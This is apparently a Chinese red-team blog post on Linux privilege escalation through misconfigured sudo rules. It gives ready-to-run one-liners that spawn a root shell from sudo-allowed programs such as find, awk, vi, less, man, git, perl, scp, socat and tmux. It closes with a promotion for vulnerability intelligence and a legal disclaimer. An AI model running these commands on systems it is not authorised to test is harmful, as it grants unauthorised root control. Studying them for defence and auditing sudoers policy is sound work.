❌默认所有用户都能直接 sudo 拿 root shell
以 perl 命令举个例子
sudo perl -e 'exec "/bin/bash";'有的读者认为:输个 sudo 密码就能 root,那这个 perl 命令不是多此一举吗?
✅ 这只在 靶场/宽松 环境成立(管理员给了你全盘 sudo 权限)。
❌ 实战环境中,通常不会这么配置。
Liunx 的 sudo 策略是精细化授权:
管理员只会给你开放极少数特定命令的 sudo 权限,绝对禁止你直接执行 bash/su/sudo -i。
服务器 /etc/sudoers 配置如下(这是高危错误配置):
# 允许普通用户 test 只能用sudo执行 perl 命令,其他任何命令都禁止!test ALL=(ALL) /usr/bin/perl此时你尝试直接拿 root,会直接被拒绝:
sudo -i # 报错:抱歉,你没有权限sudo su # 报错:权限不足sudo /bin/bash # 报错:权限不足你只有sudo perl的权限,没有直接 root 的权限。
提权操作:用 perl 绕过限制。
这时候你执行:
sudo perl -e 'exec "/bin/bash";'结果:直接弹出 root shell。
这就是提权:从「只能 sudo 执行 perl 的受限用户」→ 升级为「拥有完整控制权的 root 用户」。
只有一种情况:
管理员已经给你开了无限制 sudo 权限(ALL=(ALL) ALL),

那你直接 sudo -i 就能 root,这个 perl 命令确实多余。
简单说:它是用来「钻 sudo 权限限制的空子」,不是用来替代正常的 sudo 登录。
这是 sudo 配置不当导致的命令执行绕过提权,属于 sudo 权限滥用。
实操前先明确两类 Shell 的差异,避免操作踩坑:
!/bin/bash,支持退格键、光标移动等交互操作;!sh,仅基础输入输出,不支持退格,下文不再单独说明。查看当前用户可执行的 sudo 命令(最关键)
sudo -l # 列出当前用户被授权以 root 执行的所有命令(核心命令)sudo -ll # 更详细的权限说明(包含命令限制、是否免密等)注:以下所有提权案例,均基于 sudo -l 查出的可执行命令展开;若 sudo -l 显示用户可执行 ALL 命令(无限制),直接执行 sudo /bin/bash 即可直接获取 root shell。
以下为经丰富实战总结出的可利用的 sudo 提权命令,附实操命令和效果截图:
全交互 shell
sudo find /etc -exec /bin/bash -i \;
非全交互 shell
sudo find /etc -exec sh -i \;
全交互 shell
sudo awk 'BEGIN {system("/bin/bash")}'
非全交互 shell
sudo awk 'BEGIN {system("/bin/sh")}'
步骤 1:服务端(本机)监听端口
sudo socat tcp-listen:1234,reuseaddr,fork exec:sh,pty,stderr,setsid,sigint,sane
步骤 2:本地连接监听端口
socat FILE:`tty`,raw,echo=0 TCP:127.0.0.1:1234
sudo ed!sh
步骤 1:执行命令进入 git 帮助页面
sudo git help config
步骤 2:在帮助页面左下角出现提示时,输入!/bin/bash(全交互)或!sh(非全交互),回车跳转到 root shell。

提权成功

备选命令(若上述无效)
sudo git -p help
步骤 1:以 sudo 权限打开 vi
sudo vi
步骤2:按下ESC键,输入:!/bin/bash并回车。

提权成功,跳转到 root shell。

sudo /bin/bash
步骤 1:以 sudo 权限打开文件:
sudo less /etc/hosts
步骤 2:在 less 页面输入!/bin/bash,

回车跳转到 root shell。

步骤1:以 sudo 权限打开 man 手册
sudo man ls
步骤2:在 man 页面输入!/bin/bash

回车跳转到 root shell。

sudo env /bin/bash
步骤1:先输入
sudo ftp步骤2:在 ftp 交互界面输入!/bin/bash,回车跳转到 root shell。

sudo perl -e 'exec "/bin/bash";'
TF=$(mktemp)echo '/bin/bash 0<&2 1>&2' > $TFchmod +x "$TF"sudo scp -S $TF x y:
步骤1:输入 sudo tmux

步骤2:回车跳转到 root shell

Happy Hacking!🚀
欢迎关注我的公众号「倍果科技」,专注于红队攻防技术的前沿探索与深度分享。我们不仅定期分享红队实战的独到思路与创新打法,更将为您带来最新的0day、1day漏洞情报,助您始终站在安全技术的最前沿。
🌟 温馨提示:微信推送规则调整后,设为星标的公众号才能第一时间看到大图推送哦!
为了避免错过干货文章,请点击右上角「…」→ 选择「设为星标」⭐

📱 加入技术交流群如果你想加入我们的技术交流群,请添加我的微信号,备注「安全技术交流」,我会邀请您进入群聊。(由于群成员已满200人,无法通过扫描二维码直接加入),期待与您在技术交流群中相遇,一起碰撞思维的火花,分享安全技术的无限可能!🚀

本文章仅供学习和研究用途。请勿将文章中的技术用于任何非法活动。因使用本文提供的信息或工具所导致的任何直接或间接后果与损失,均由使用者自行承担,作者及平台对此不承担任何责任。
文章中的信息和工具均收集自互联网,使用者需自行验证其真实性与安全性。如有侵权行为,请联系以便及时删除。
再次提醒,任何非法使用与本文章作者和平台无关,责任由使用者自行承担。

